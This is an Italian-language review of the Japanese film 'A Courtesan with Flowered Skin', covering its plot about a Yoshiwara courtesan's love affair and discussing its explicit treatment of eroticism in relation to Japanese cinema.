A Courtesan with Flowered Skin di Toyoshima Keisuke

Siamo nella metà dell’Ottocento e Asagiri è la cortigiana (oiran) più richiesta e popolare del quartiere di piacere Yoshiwara: la sua particolarità, ritenuta così attraente e poetica dagli uomini che la incontrano, cela tuttavia un amaro passato. Fra gli avventori della casa di piacere in cui lavora Asagiri vi è un ricco quanto sadico uomo d’affari che vuole comprare la libertà della fanciulla per farla sua sposa. Nel mentre però, la protagonista incontra l’unico uomo in grado di farle veramente battere il cuore ed abbassare le sue difese create con tanto sforzo e fatica nel corso degli anni per evitarsi nuove sofferenze.

Nonostante lo sfarzo delle scene che ritraggono il ricco e colorato quartiere di Yoshiwara, traboccante di erotismo e piaceri di ogni genere, il film pone in primo piano una protagonista che è tanto piccola e apparentemente delicata (anche di corporatura) quanto fredda e disinvolta nel rapportarsi ai suoi clienti.

Questa corazza che si è creata viene tuttavia smontata velocemente e va a frantumarsi nel momento in cui Asagiri incontra l’amore della sua vita: abituata ad incontrare uomini che desiderano da lei solo ció per il quale é stata educata, non é pronta ad affrontare invece qualcuno che non ha bassi fini e che invece pare possedere delicatezza e gentilezza.

La fine amara della pellicola non rende meno effettiva la passione che coglie i due amanti, accentuata tanto dall’insistenza di alcune scene erotiche, quanto dall’esagerazione drammatica di altre e di alcune trovate del regista per adornare e sfoggiare la sua protagonista forse più del necessario. Quasi necessario inserire il sesso nel cinema occidentale, questo al contrario viene proposto molto di rado nelle opere Giapponesi. Nonostante il suo sdoganamento da parte di Oshima Nagisa, persino quando la trama lo richiede vengono escogitati tutti i trucchi possibili per accennarlo o suggerirlo, ma mai dichiararlo apertamente.

Per questo motivo il film, benché non particolarmente originale nel soggetto, si può tuttavia considerare un’opera rivoluzionaria nella maniera esplicita in cui vengono rappresentati i sentimenti. Certo, non aderente al cinema giapponese che conosciamo noi e forse più orientata ad una visione ed un apprezzamento internazionali. Eppure senz’altro un’opera di ottima fattura.

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